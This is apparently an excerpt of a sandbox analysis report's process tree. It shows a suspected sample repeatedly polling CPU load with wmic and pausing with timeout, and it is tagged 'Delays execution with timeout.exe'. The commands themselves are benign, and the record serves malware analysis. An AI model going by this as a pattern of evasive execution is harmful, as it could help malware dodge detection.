C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵
-
